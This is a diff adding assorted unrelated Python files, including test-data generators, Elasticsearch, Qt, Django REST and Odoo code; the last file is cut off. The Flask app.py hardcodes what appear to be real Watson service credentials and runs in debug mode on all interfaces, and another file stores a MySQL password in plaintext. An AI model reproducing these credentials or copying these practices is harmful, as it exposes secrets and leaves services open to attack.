b/pool/shard009/Python/0082291_contact.py @@ -0,0 +1,50 @@ +from model.contact import Contact +import random +import string +import os.path +import jsonpickle +import getopt +import sys + +try: + opts, args = getopt.getopt(sys.argv[1:], "n:f:", ["number of groups", "file"]) +except getopt.GetoptError as err: + getopt.usage() + sys.exit(2) + +n = 5 +f = "date\\contacts.json" + +for o, a in opts: + if o == "-n": + n = int(a) + elif o == "-f": + f = a + +def random_string(prefix, maxlen): + symbols = string.ascii_letters + string.digits + string.punctuation + " "*10 + return prefix + "".join([random.choice(symbols) for i in range(random.randrange(maxlen))]) + +def random_number(prefix, maxlen): + symbols = string.punctuation + "" + string.digits*40 + return prefix + "".join([random.choice(symbols) for i in range(random.randrange(maxlen))]) + +testdata = [Contact(Firstname=random_string("First", 10), Middlename=random_string("Middle", 10), + Lastname=random_string("Last", 10), + Nickname=random_string("Nick", 8), Title=random_string("Title", 15), + Company=random_string("Company", 20), + Address=random_string("Address", 40), Home=random_number("", 8), Mobile=random_number("", 10), + Work=random_number("", 10), Fax=random_number("", 10), Email=random_string("mail@", 15), + Email2=random_string("mail2@", 15), Email3=random_string("mail", 15), + Homepage=random_string("www.", 15), + Bday="3", Bmonth="March", Byear="1979", + Aday="10", Amonth="September", Ayear="2017", + Address2=random_string("Address", 40), Phone2=random_number("", 12), + Notes=random_string("Address", 70)) + for i in range(n)] + +file = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", f) + +with open(file, "w") as out: + jsonpickle.set_encoder_options("json", indent=2) + out.write(jsonpickle.encode(testdata)) diff --git a/pool/shard009/Python/0082294_db_connect_creds.py b/pool/shard009/Python/0082294_db_connect_creds.py new file mode 100644 index 0000000000000000000000000000000000000000..bf7c49c817a6005a5ce80b6844205a5883b2fc73 --- /dev/null +++ b/pool/shard009/Python/0082294_db_connect_creds.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python2.7 +"""Functions related to MySQL credentials.""" +import logging + +DBCONF = './dbconnect.conf' + +def entercreds(): + """Ask user to input credentials.""" + logging.info('Please, enter MySQL credentials.') + username = raw_input('Enter the DB username: ') + password = raw_input('Enter the password: ') + return str(username), str(password) + +def read_creds(): + """Read credentials from file.""" + try: + with open(DBCONF, 'r') as fhandle: + lines = fhandle.readlines() + + return lines[0].rstrip(), lines[1].rstrip() + except Exception as exception: + logging.error("Failed to read '%s'.", DBCONF) + raise exception + +def write_creds(username, password): + """Write credentials into file.""" + try: + with open(DBCONF, 'w') as fhandle: + fhandle.write('%s\n' % username) + fhandle.write('%s\n' % password) + except Exception as exception: + logging.error("Failed to write '%s'.", DBCONF) + raise exception + diff --git a/pool/shard009/Python/0082300_base.py b/pool/shard009/Python/0082300_base.py new file mode 100644 index 0000000000000000000000000000000000000000..d2461d78d29e1df0e8cdf00d8dd6557ed8a0edbf --- /dev/null +++ b/pool/shard009/Python/0082300_base.py @@ -0,0 +1,174 @@ +from esengine.exceptions import PayloadError +from esengine.utils.payload.queries import Query +from esengine.utils.payload.meta_util import unroll_struct +from esengine.utils.pagination import Pagination + + +class Payload(object): + + def __init__(self, model=None, **kwargs): + """ + Optional parameters + :param model: a Document model class (optional) + :param query: A Query instance + :param filter: A Filter instance + :param aggregate: Aggregate instances + :param suggest: Suggester instances + :param sort: field name or dictionary + :param size: Integer size + :param timeout: Timeout in seconds + :param fields: List of fields + :return: Payload Wrapper + """ + self._model = model + self._filter = None + self._query = None + self._aggs = [] + self._suggesters = [] + self._struct = {} + + for key, value in kwargs.items(): + try: + getattr(self, key)(value) + except AttributeError: + self.set(key, value) + + def query(self, query): + self._query = query + return self + + def filter(self, filter_): + self._filter = filter_ + return self + + def aggregate(self, aggregates): + self._aggs.extend(aggregates) + return self + + def suggest(self, *suggesters): + self._suggesters.extend(suggesters) + return self + + def set(self, key, value): + self._struct[key] = value + return self + + def from_(self, from_): + self._struct['from'] = from_ + return self + + def size(self, size): + self._struct['size'] = size + return self + + def timeout(self, timeout): + self._struct['timeout'] = timeout + return self + + def fields(self, fields): + self._struct['_source'] = fields + return self + + def sort(self, field, reset=False, **kwargs): + """ + Sort he Payload + :param field: Field to sort + :param reset: Should reset sort list + :param kwargs: "order" and other sort params + :return: Payload instance (self) + """ + if reset or 'sort' not in self._struct: + self._struct['sort'] = [] + + if not kwargs: + self._struct['sort'].append(field) + else: + self._struct['sort'].append({field: kwargs}) + + return self + + @property + def dict(self): + return self.as_dict() + + def as_dict(self): + if self._filter and self._query: + self._struct['query'] = Query.filtered( + filter=self._filter, + query=self._query + ) + + elif self._filter: + self._struct['query'] = Query.filtered( + filter=self._filter + ) + + elif self._query: + self._struct['query'] = self._query + + if self._aggs: + aggs = {} + for agg in self._aggs: + aggs.update(agg.as_dict()) + + self._struct['aggregations'] = aggs + + if self._suggesters: + suggs = {} + for sugg in self._suggesters: + suggs.update(sugg.as_dict()) + + self._struct['suggest'] = suggs + + return unroll_struct(self._struct) + + # backward compatibility API + to_dict = as_dict # noqa + + def search(self, model=None, **kwargs): + model = model or self._model + query = self.dict + if not query: + raise PayloadError( + "query, filter, aggregate or suggest should be specified!" + ) + return model.search(query=query, **kwargs) + + def count(self, model=None, **kwargs): + model = model or self._model + query = self.dict.get('query') + if not query: + raise PayloadError("query should be specified for count") + kwargs['perform_count'] = True + return model.search(query={"query": query}, **kwargs) + + def paginate(self, page=1, per_page=10): + return Pagination(iterable=self, page=page, per_page=per_page) + + def get_values(self, *fields, **kwargs): + """ + if args is only one field .get_values('id') return a list of lists + [123, 456, 789] + If args is more than one field return a list of tuples + .get_values("id", "name") + [(123, "John"), (789, "mary"), ...] + :param kwargs: Document class + :param fields: a list of fields + :return: + """ + + values = [ + hit.get('_source') + for hit in self.search(_source=fields, **kwargs)._hits + ] + + if not fields: + raise AttributeError("At least one field is required") + + if len(fields) > 1: + return [ + tuple(value.get(field) for field in fields) + for value in values + ] + else: + return [value.get(fields[0]) for value in values] diff --git a/pool/shard009/Python/0082302_plugin_prototype.py b/pool/shard009/Python/0082302_plugin_prototype.py new file mode 100644 index 0000000000000000000000000000000000000000..f9091fc67e610db9075bf01647a764eb42e32996 --- /dev/null +++ b/pool/shard009/Python/0082302_plugin_prototype.py @@ -0,0 +1,76 @@ +# -*- coding: utf-8 -*- +from logbook import Logger + +from ziyan.ziyan_main import Command, Check, Handler + +log = Logger('plugins') + + +class MyCommand(Command): + def __init__(self, configuration): + super(MyCommand, self).__init__(configuration=configuration) + + def user_create_command(self): + """ + put your command here to activate the request data logic. + + :return: cmd, this variable will be send to user_check as a command parameter. + """ + cmd = 1 + return cmd + + +class MyCheck(Check): + def __init__(self, configuration): + super(MyCheck, self).__init__(configuration=configuration) + + def user_check(self, command): + """ + + :param command: user defined parameter. + :return: the data you requested. + """ + if command == 1: + yield Check.data + + +class MyHandler(Handler): + def __init__(self, configuration): + super(MyHandler, self).__init__(configuration=configuration) + + def user_handle(self, raw_data): + """ + 用户须输出一个dict,可以填写一下键值,也可以不填写 + timestamp, 从数据中处理得到的时间戳(整形?) + tags, 根据数据得到的tag + data_value 数据拼接形成的 list 或者 dict,如果为 list,则上层框架 + 对 list 与 field_name_list 自动组合;如果为 dict,则不处理,认为该数据 + 已经指定表名 + measurement 根据数据类型得到的 influxdb表名 + + e.g: + list: + {'data_value':[list] , required + 'tags':[dict], optional + 'measurement',[str] optional + 'timestamp',int} optional + + dict: + {'data_value':{'fieldname': value} , required + 'tags':[dict], optional + 'measurement',[str] optional + 'timestamp',int} optional + + :param raw_data: + :return: + """ + # exmple. + # 数据经过处理之后生成 value_list + data_value_list = [raw_data] + + tags = {'user_defined_tag': 'data_ralated_tag'} + + # user 可以在handle里自己按数据格式制定tags + user_postprocessed = {'data_value': data_value_list, + 'tags': tags, } + yield user_postprocessed diff --git a/pool/shard009/Python/0082303_ogtgui_doc.py b/pool/shard009/Python/0082303_ogtgui_doc.py new file mode 100644 index 0000000000000000000000000000000000000000..6a2f034810e590cac24acacd0a91e3bbaf30020e --- /dev/null +++ b/pool/shard009/Python/0082303_ogtgui_doc.py @@ -0,0 +1,149 @@ +# -*- coding: utf-8 -*- +""" +@author: Peter Morgan +""" + +from Qt import QtGui, QtCore, Qt, pyqtSignal + +import app_globals as G + +from ogt import ogt_doc, OgtError +import ogtgui_group +from img import Ico + +class OGTDocumentWidget( QtGui.QWidget ): + + sigUpdated = pyqtSignal(object) + + def __init__( self, parent=None): + QtGui.QWidget.__init__( self, parent ) + + self.debug = False + + self.file_path = None + self.doc = None + + self.mainLayout = QtGui.QVBoxLayout() + self.mainLayout.setSpacing(0) + self.mainLayout.setContentsMargins(0,0,0,0) + self.setLayout(self.mainLayout) + + self.tabBar = QtGui.QTabBar() + self.mainLayout.addWidget(self.tabBar) + + self.stackWidget = QtGui.QStackedWidget() + self.mainLayout.addWidget(self.stackWidget) + + self.tabBar.currentChanged.connect(self.on_tab_changed) + + + def init_load(self): + #self.fetch() + pass + + # def fetch(self, example=None): + # """Send request to server""" + # url = "/ags/4/parse" + # params = None + # + # if example: + # params = dict(example=example) + # + # G.server.get(origin=self, url=url, params=params) + # + # + # + # def load_reply(self, xreply): + # """Got a reply from server..""" + # #print self, xreply + # + # if xreply.origin != self: + # return + # + # if not "document" in xreply.data: + # return # SHould not happen + # + # # loop the groups and add the tabs,... + # for dic in xreply.data["document"]["groups"]: + # + # widget = self.load_group(dic) + + + # def deadload_ags4_file(self, file_path): + # + # self.file_path = None + # + # doc = ogt_doc.OGTDocument() + # #doc.opts.edit_mode = True + # err = doc.load_ags4_file(file_path) + # + # + # self.load_document(doc) + + def clear(self): + + while self.tabBar.count() > 0: + self.tabBar.removeTab(0) + + while self.stackWidget.count() > 0: + self.stackWidget.removeWidget(self.stackWidget.widget(0)) + + def load_document(self, ogtdoc): + + + self.ogtDoc = ogtdoc + #print "doc=", self.ogtDoc + #data = doc.to_dict() + for grpOb in self.ogtDoc.groups_list: + #print "here", grpOb + self.load_group( grpOb ) + + self.tabBar.setCurrentIndex(1) + + def load_group(self, ogtGroup): + #print "load_group", ogtGrp, self + + + + + widget = ogtgui_group.GroupWidget(self, ogtGroup=ogtGroup) + idx = self.tabBar.addTab( "%s - %s " % (ogtGroup.group_code, ogtGroup.data_rows_count()) ) + if ogtGroup.data_dict(): + descr = ogtGroup.group_description + self.tabBar.setTabToolTip(idx, "-" if descr == None else descr) + if False: + print "---------" + print "star", ogtGroup.group_start_lidx + print "hidx", ogtGroup.headings_idx + print "uidx", ogtGroup.units_idx + print "tidx", ogtGroup.types_idx + print "didx", ogtGroup.data_start_idx + + + + self.stackWidget.addWidget(widget) + #widget.set_group(ogtGrp) + widget.sigGoto.connect(self.on_goto) + + return widget + + def select_group(self, group_code): + for i in range(0, self.stackWidget.count()): + if self.stackWidget.widget(i).ogtGroup.group_code == group_code: + self.tabBar.setCurrentIndex(i) + return + + + def on_tab_changed(self, idx): + # TODO check is theres an edit. ebore tab change maybe + #print "idx", idx + self.stackWidget.setCurrentIndex(idx) + + + def on_goto(self, code): + grp_code = code.split("_")[0] + for idx in range(0, self.stackWidget.count()): + if self.stackWidget.widget(idx).ogtGroup.group_code == grp_code: + self.tabBar.setCurrentIndex(idx) + #self.stackWidget.widget(idx).select_heading(code) + return diff --git a/pool/shard009/Python/0082310_test_color.py b/pool/shard009/Python/0082310_test_color.py new file mode 100644 index 0000000000000000000000000000000000000000..1156a44407c01011f9419f18ce0768a0fb9c180d --- /dev/null +++ b/pool/shard009/Python/0082310_test_color.py @@ -0,0 +1,49 @@ +# -*- coding: utf-8 -*- + +"""Test colors.""" + +#------------------------------------------------------------------------------ +# Imports +#------------------------------------------------------------------------------ + +import numpy as np + +from .._color import (_random_color, _is_bright, _random_bright_color, + _colormap, _spike_colors, ColorSelector, + ) +from ..testing import show_colored_canvas + + +#------------------------------------------------------------------------------ +# Tests +#------------------------------------------------------------------------------ + +def test_random_color(): + color = _random_color() + show_colored_canvas(color) + + for _ in range(10): + assert _is_bright(_random_bright_color()) + + +def test_colormap(): + assert len(_colormap(0)) == 3 + assert len(_colormap(1000)) == 3 + + assert _spike_colors([0, 1, 10, 1000]).shape == (4, 4) + assert _spike_colors([0, 1, 10, 1000], + alpha=1.).shape == (4, 4) + assert _spike_colors([0, 1, 10, 1000], + masks=np.linspace(0., 1., 4)).shape == (4, 4) + assert _spike_colors(masks=np.linspace(0., 1., 4)).shape == (4, 4) + + +def test_color_selector(): + sel = ColorSelector() + c = sel.get(0) + assert len(c) == 4 + assert len(sel.get(0, [1, 0])) == 4 + assert sel.get(0, cluster_group='noise') == (.5,) * 4 + + assert sel.get(0) == c + assert sel.get(1) != c diff --git a/pool/shard009/Python/0082320_renderers.py b/pool/shard009/Python/0082320_renderers.py new file mode 100644 index 0000000000000000000000000000000000000000..3cea2bb89ce6ab3cef768571aaf59f34ae48768b --- /dev/null +++ b/pool/shard009/Python/0082320_renderers.py @@ -0,0 +1,137 @@ +""" +Renderers +""" +from collections import OrderedDict + +from rest_framework import renderers + +from . import utils + + +class JSONRenderer(renderers.JSONRenderer): + """ + Render a JSON response per the JSON API spec: + { + "data": [{ + "type": "companies", + "id": 1, + "attributes": { + "name": "Mozilla", + "slug": "mozilla", + "date-created": "2014-03-13 16:33:37" + } + }, { + "type": "companies", + "id": 2, + ... + }] + } + """ + + media_type = 'application/vnd.api+json' + format = 'vnd.api+json' + + def render(self, data, accepted_media_type=None, renderer_context=None): + + view = renderer_context.get("view", None) + request = renderer_context.get("request", None) + + from rest_framework_json_api.views import RelationshipView + if isinstance(view, RelationshipView): + # Special case for RelationshipView + render_data = OrderedDict([ + ('data', data) + ]) + links = view.get_links() + if links: + render_data.update({'links': links}), + return super(JSONRenderer, self).render( + render_data, accepted_media_type, renderer_context + ) + + # Get the resource name. + resource_name = utils.get_resource_name(renderer_context) + + # If `resource_name` is set to None then render default as the dev + # wants to build the output format manually. + if resource_name is None or resource_name is False: + return super(JSONRenderer, self).render( + data, accepted_media_type, renderer_context + ) + + # If this is an error response, skip the rest. + if resource_name == 'errors': + if len(data) > 1 and isinstance(data, list): + data.sort(key=lambda x: x.get('source', {}).get('pointer', '')) + return super(JSONRenderer, self).render( + {resource_name: data}, accepted_media_type, renderer_context + ) + + json_api_included = list() + + if view and hasattr(view, 'action') and view.action == 'list' and \ + isinstance(data, dict) and 'results' in data: + # If detail view then json api spec expects dict, otherwise a list + # - http://jsonapi.org/format/#document-top-level + # The `results` key may be missing if unpaginated or an OPTIONS request + + results = data["results"] + + resource_serializer = results.serializer + + # Get the serializer fields + fields = utils.get_serializer_fields(resource_serializer) + + json_api_data = list() + for position in range(len(results)): + resource = results[position] # Get current resource + resource_instance = resource_serializer.instance[position] # Get current instance + json_api_data.append( + utils.build_json_resource_obj(fields, resource, resource_instance, resource_name)) + included = utils.extract_included(fields, resource, resource_instance) + if included: + json_api_included.extend(included) + else: + # Check if data contains a serializer + if hasattr(data, 'serializer'): + fields = utils.get_serializer_fields(data.serializer) + resource_instance = data.serializer.instance + json_api_data = utils.build_json_resource_obj(fields, data, resource_instance, resource_name) + included = utils.extract_included(fields, data, resource_instance) + if included: + json_api_included.extend(included) + else: + json_api_data = data + + # Make sure we render data in a specific order + render_data = OrderedDict() + + if isinstance(data, dict) and data.get('links'): + render_data['links'] = data.get('links') + + # format the api root link list + if view.__class__ and view.__class__.__name__ == 'APIRoot': + render_data['data'] = None + render_data['links'] = json_api_data + else: + render_data['data'] = json_api_data + + if len(json_api_included) > 0: + # Iterate through compound documents to remove duplicates + seen = set() + unique_compound_documents = list() + for included_dict in json_api_included: + type_tuple = tuple((included_dict['type'], included_dict['id'])) + if type_tuple not in seen: + seen.add(type_tuple) + unique_compound_documents.append(included_dict) + + # Sort the items by type then by id + render_data['included'] = sorted(unique_compound_documents, key=lambda item: (item['type'], item['id'])) + + if isinstance(data, dict) and data.get('meta'): + render_data['meta'] = data.get('meta') + + return super(JSONRenderer, self).render( + render_data, accepted_media_type, renderer_context + ) diff --git a/pool/shard009/Python/0082328_utils.py b/pool/shard009/Python/0082328_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..4b1c442088abd6c2451e13e74d264102590010ed --- /dev/null +++ b/pool/shard009/Python/0082328_utils.py @@ -0,0 +1,120 @@ +# Copyright (c) 2016 - I.T. Dev Ltd +# +# This file is part of MCVirt. +# +# MCVirt is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. +# +# MCVirt is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with MCVirt. If not, see + +import socket +from os.path import isfile +import collections + + +class HostnameCache(object): + """Class to hold cached hostname.""" + HOSTNAME = None + + +def get_network_hostname(): + """Return the hostname of the system, using the socket.""" + return socket.gethostname() + + +def get_hostname(): + """Return the hostname of the system stored in a custom config file.""" + # Hard code file location as constants DirectoryLocation class + # needs to use this function to obtain /var/lib/mcvirt/ + # It's need is greater than our own + hostname_file = '/etc/mcvirt/hostname.conf' + + # If the hostname file does not exist, get the hostnmae from + # the current socket hostname and write to file + if not isfile(hostname_file): + HostnameCache.HOSTNAME = get_network_hostname() + try: + with open(hostname_file, 'w') as fh: + fh.write(HostnameCache.HOSTNAME) + + # Don't throw an exception if this cannot be created + except IOError: + pass + + # If the hostname has not been cached in the local variable, + # then obtain from the file + if not HostnameCache.HOSTNAME: + with open(hostname_file) as fh: + HostnameCache.HOSTNAME = fh.readline() + + # Return cached hostname + return HostnameCache.HOSTNAME + + +def ensure_hostname_consistent(): + """Ensure that the system current hostname + matches the hostname recorded in the config file + """ + if get_hostname() != get_network_hostname(): + raise Exception(("Fatal Error: System hostname appears to have changed.\n" + "Original Hostname: %(original)s, New hostname: %(new)s" + "If this is expected, perform the following:\n" + " - Update the hostname in /etc/mcvirt/hostname.conf\n" + " - Renmame the host directory /var/lib/mcvirt/%(original)s" + " to /var/lib/mcvirt/%(new)s\n" + ' - Update uses of the hostname in' + '/var/lib/mcvirt/%(new)s/config.json, ' + '/var/lib/mcvirt//config.json on all remote nodes, ' + '/var/lib/mcvirt/%(new)s/vm/*/config.json and ' + "/var/lib/mcvirt//vm/*/config.json on all remote nodes.\n" + "\nIf this was NOT expected, please check system hostname and " + "DNS configuration.") % {'original': get_hostname(), + 'new': get_network_hostname()}) + + +def get_all_submodules(target_class): + """Return all inheriting classes, recursively.""" + subclasses = [] + for subclass in target_class.__subclasses__(): + subclasses.append(subclass) + subclasses += get_all_submodules(subclass) + return subclasses + + +def convert_size_friendly(original): + """Convert from MB to a readable size, depneding on + size + """ + + if original <= 1024: + return '%iMB' % original + elif original < (1024 ** 2): + return '%.2fGB' % round(float(original) / 1024, 2) + else: + return '%.2fTB' % round(float(original) / (1024 ** 2), 2) + + +def dict_merge(dct, merge_dct): + """ Recursive dict merge. Inspired by :meth:``dict.update()``, instead of + updating only top-level keys, dict_merge recurses down into dicts nested + to an arbitrary depth, updating keys. The `merge_dct` is merged into + `dct`. + :param dct: dict onto which the merge is executed + :param merge_dct: dct merged into dct + :return: None + OBTAINED FROM: https://gist.github.com/angstwad/bf22d1822c38a92ec0a9 + """ + for k, v in merge_dct.iteritems(): + if (k in dct and isinstance(dct[k], dict) and + isinstance(merge_dct[k], collections.Mapping)): + dict_merge(dct[k], merge_dct[k]) + else: + dct[k] = merge_dct[k] diff --git a/pool/shard009/Python/0082332_release_type.py b/pool/shard009/Python/0082332_release_type.py new file mode 100644 index 0000000000000000000000000000000000000000..6984d1008c1b555fa37877722d868ecc4d8f4eaf --- /dev/null +++ b/pool/shard009/Python/0082332_release_type.py @@ -0,0 +1,36 @@ +PLUGIN_NAME = 'Release Type' +PLUGIN_AUTHOR = 'Elliot Chance' +PLUGIN_DESCRIPTION = 'Appends information to EPs and Singles' +PLUGIN_VERSION = '1.2' +PLUGIN_API_VERSIONS = ["0.9.0", "0.10", "0.15"] + +from picard.metadata import register_album_metadata_processor +import re + +#================== +# options +#================== +_SINGLE = " (single)" +_EP = " EP" + +def add_release_type(tagger, metadata, release): + + # make sure "EP" (or "single", ...) is not already a word in the name + words = metadata["album"].lower().split(" ") + for word in ["ep", "e.p.", "single", "(single)"]: + if word in words: + return + + # check release type + if metadata["releasetype"] == "ep": + rs = _EP; + elif metadata["releasetype"] == "single": + rs = _SINGLE; + else: + rs = "" + + # append title + metadata["album"] = metadata["album"] + rs + +register_album_metadata_processor(add_release_type) + diff --git a/pool/shard009/Python/0082339_test_res_partner.py b/pool/shard009/Python/0082339_test_res_partner.py new file mode 100644 index 0000000000000000000000000000000000000000..02606df799194b02245e6e3732d27bf28e7aa1c9 --- /dev/null +++ b/pool/shard009/Python/0082339_test_res_partner.py @@ -0,0 +1,87 @@ +# -*- coding: utf-8 -*- +############################################################################## +# +# OpenERP, Open Source Management Solution +# This module copyright (C) cgstudiomap +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as +# published by the Free Software Foundation, either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +############################################################################## +import functools +import logging +import mock +import inspect + +import time + +from openerp.tests import common + +_logger = logging.getLogger(__name__) + +def get_module_path(module_name): + return 'openerp.addons.website_iframe_host.controllers.base.{0}'.format( + module_name + ) + +class TestResPartner(common.TransactionCase): + """Test suites interaction between partner and res.partner.count.*""" + + def setUp(self): + super(TestResPartner, self).setUp() + self.partner_pool = self.env['res.partner'] + self.partner1 = self.partner_pool.create({'name': 'partner1'}) + self.partner2 = self.partner_pool.create({'name': 'partner2'}) + self.module_request_path = get_module_path('request') + self.mock_patch_request = functools.partial(mock.patch, self.module_request_path) + + self.website_iframe_host_pool = self.env['website.iframe.host'] + + self.host_name = 'travis.com' + self.host_url = 'cgstudiomap.{}'.format(self.host_name) + self.host = self.website_iframe_host_pool.create( + {'host': self.host_name, 'search_domain': []} + ) + self.referrer_name = 'travis_referrer.com' + self.referrer_url = 'http://cgstudiomap.{}'.format(self.referrer_name) + self.referrer = self.website_iframe_host_pool.create( + {'host': self.referrer_name, 'search_domain': []} + ) + + def test_whenReferrerIsNotNoneInRequest_thenPartnerHostIsReferrer(self): + """ + Given a res_partner_count_view is created + When request referrer is set + Then the res.partner.count.view stores the name of the referrer + """ + with self.mock_patch_request() as mock_request: + mock_request.session_id = time.time() + mock_request.env = self.env + mock_request.httprequest.host = self.host_url + mock_request.httprequest.referrer = self.referrer_url + res = self.partner1.add_count_view(self.partner2, mock_request) + self.assertEqual(self.referrer_name, res.host, msg=inspect.stack()[0][3]) + + def test_whenReferrerIsNoneInRequest_thenPartnerHostIshost(self): + """ + Given a res_partner_count_view is created + When request referrer is none + Then the res.partner.count.view stores the name of the host + """ + with self.mock_patch_request() as mock_request: + mock_request.session_id = time.time() + mock_request.env = self.env + mock_request.httprequest.host = self.host_url + mock_request.httprequest.referrer = None + res = self.partner1.add_count_view(self.partner2, mock_request) + self.assertEqual(self.host_name, res.host, msg=inspect.stack()[0][3]) diff --git a/pool/shard009/Python/0082341_service.py b/pool/shard009/Python/0082341_service.py new file mode 100644 index 0000000000000000000000000000000000000000..9fc7b2e2f5e99b526e41a97f1214294dc9026630 --- /dev/null +++ b/pool/shard009/Python/0082341_service.py @@ -0,0 +1,19 @@ +from classymq.service import ConsumerService +from twisted.internet import reactor +from twisted.internet.defer import inlineCallbacks, returnValue +from examples.log.consumer import LogConsumer + +__author__ = 'gdoermann' + + +class LoggingBase(ConsumerService): + consumer_klass = LogConsumer + +@inlineCallbacks +def main(*args, **kwargs): + logger = LoggingBase() + yield logger.run() + +if __name__ == '__main__': + main() + reactor.run() \ No newline at end of file diff --git a/pool/shard009/Python/0082344_app.py b/pool/shard009/Python/0082344_app.py new file mode 100644 index 0000000000000000000000000000000000000000..4d7ed762f2bcb0388c59dfdbbd0ae00588fdc31a --- /dev/null +++ b/pool/shard009/Python/0082344_app.py @@ -0,0 +1,132 @@ +from cloudant import Cloudant +from flask import Flask, render_template, request, jsonify, url_for, redirect +import atexit +import cf_deployment_tracker +import os +import json +import yaml +from watson_developer_cloud import TradeoffAnalyticsV1 + +from src.Data_mgt_tasks.cluster_perfstat_tasks import cluster_perfstat_tasks +from src.Data_mgt_tasks.esxhost_perfstat_tasks import esxhost_perfstat_tasks +from src.Data_mgt_tasks.datastore_perfstat_tasks import datastore_perfstat_tasks +from src.Db_operations.cloudant_db_op import cloundant_db_op + +from src.Models.cluster_problem_desc import cluster_problem_desc +from src.Models.esxhost_problem_desc import esxhost_problem_desc +from src.Models.datastore_problem_desc import datastore_problem_desc + +# Emit Bluemix deployment event +cf_deployment_tracker.track() + +app = Flask(__name__) +db_name = 'eknowdb' +client = None +db = None +port = int(os.getenv('PORT', 8080)) +td = TradeoffAnalyticsV1(username='2f524550-89d1-4dd7-9394-e395c2d4a75a', password='VTfGUyMJGES0') + +@app.route('/') +def homepage(): + vcs = None + with open(os.path.join(os.path.dirname(__file__), 'resources/vcenters.yaml')) as vcenters: + vcs = yaml.load(vcenters) + return render_template('homepage.html', vcenters = vcs["vcenters"].split(" ")) + + +@app.route('/vcenter_analyze_task') +def vcenter_analyze_task(): + cls = cluster_perfstat_task() + esx = esxhost_perfstat_task() + ds = datastore_perfstat_task() + return render_template('whitespace_calc.html', cls_items=cls, esx_items=esx, ds_items=ds) + +def cluster_perfstat_task(): + cluster_docs = [] + pf = cluster_perfstat_tasks() + clusters = pf.get_all_clusters() + for clus in clusters: + cluster_docs.append(clus['doc']) + problem = cluster_problem_desc(cluster_docs) + data_for_analysis = problem.generate_problem() + dilemma = td.dilemmas(data_for_analysis, generate_visualization=True, find_preferable_options=True) + pref = dilemma['resolution']['preferable_solutions']['solution_refs'] + cls = pf.get_cluster(pref[0]) + return cls + + +def esxhost_perfstat_task(): + esxhost_docs = [] + pf = esxhost_perfstat_tasks() + esxhosts = pf.get_all_esxhosts() + for esx in esxhosts: + esxhost_docs.append(esx['doc']) + problem = esxhost_problem_desc(esxhost_docs) + data_for_analysis = problem.generate_problem() + dilemma = td.dilemmas(data_for_analysis, generate_visualization=True, find_preferable_options=True) + pref = dilemma['resolution']['preferable_solutions']['solution_refs'] + esxs = pf.get_esxhost(pref[0]) + return esxs + + +def datastore_perfstat_task(): + ds_docs = [] + pf = datastore_perfstat_tasks() + datastores = pf.get_all_datastores() + for ds in datastores: + ds_docs.append(ds['doc']) + problem = datastore_problem_desc(ds_docs) + data_for_analysis = problem.generate_problem() + dilemma = td.dilemmas(data_for_analysis, generate_visualization=True, find_preferable_options=True) + pref = dilemma['resolution']['preferable_solutions']['solution_refs'] + dss = pf.get_datastore(pref[0]) + return dss + + +@app.route('/cloudant_db') +def cloudant_db(): + return redirect("https://85503c60-2116-40ba-afba-2fac974fd814-bluemix.cloudant.com/dashboard.html") + +def initialize_db(): + clus_pf = cluster_perfstat_tasks() + esx_pf = esxhost_perfstat_tasks() + ds_pf = datastore_perfstat_tasks() + + + try: + with open(os.path.join(os.path.dirname(__file__), 'resources/clusters.json')) as clusters: + clus_data = json.loads(clusters) + for clus in clus_data: + clus_pf.create_cluster(clus) + except Exception as e: + print("Exception occured: {}".format(str(e))) + + try: + with open(os.path.join(os.path.dirname(__file__), 'resources/esxhosts.json')) as esxs: + esx_data = json.load(esxs) + for esx in esx_data: + print(esx) + esx_pf.create_esxhost(esx) + except Exception as e: + print("Exception occured: {}".format(str(e))) + + try: + with open(os.path.join(os.path.dirname(__file__), 'resources/datastores.json')) as datastores: + ds_data = json.load(datastores) + for ds in ds_data: + print(ds) + ds_pf.create_datastore(ds) + except Exception as e: + print("Exception occured: {}".format(str(e))) + + + +@atexit.register +def shutdown(): + if client: + client.disconnect() + + +if __name__ == '__main__': + #initialize_db() + app.run(host='0.0.0.0', port=port, debug=True) diff --git a/pool/shard009/Python/0082349_sort.py b/pool/shard009/Python/0082349_sort.py new file mode 100644 index 0000000000000000000000000000000000000000..44fd9fa27e678de75ffc080ddc55520bfabe72e4 --- /dev/null +++ b/pool/shard009/Python/0082349_sort.py @@ -0,0 +1,32 @@ +#!/usr/bin/python3 + +# Licensed under the GNU General Public License Version 3 +# Author: Nitrous + +# Description: +# A script for taking the content of all .txt files in a folder +# and sorting the contents before placing all of it in a file called sorted.txt + +# Usage: +# 1) Place the script in a folder where you wish to use it. +# 2) Run it. +# 3) The resulting file will be named sorted.txt and put in the same folder + +import os +import glob + +def main(): + listobj = [] + dir_path = os.path.dirname(os.path.realpath(__file__)) + files = glob.glob(dir_path + "/*txt") + + for x in files: + with open(x, "r+",) as f: + for y in f.read().split(): listobj.append(y+'\n') + + listobj.sort() + with open("sorted.txt", "w") as f: + f.writelines(listobj) + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0082352_dispatch.py b/pool/shard009/Python/0082352_dispatch.py new file mode 100644 index 0000000000000000000000000000000000000000..7c7d7e8cf654d504e767ce303d77a22a46760896 --- /dev/null +++ b/pool/shard009/Python/0082352_dispatch.py @@ -0,0 +1,152 @@ +""" +Handles dispatching array operations to the correct backend library, as well +as converting arrays to backend formats and then potentially storing them as +constants. +""" + +import importlib +from typing import Any, Dict + +import numpy + +from . import cupy as _cupy +from . import jax as _jax +from . import object_arrays +from . import tensorflow as _tensorflow +from . import theano as _theano +from . import torch as _torch + +__all__ = [ + "get_func", + "has_einsum", + "has_tensordot", + "build_expression", + "evaluate_constants", + "has_backend", +] + +# known non top-level imports +_aliases = { + "dask": 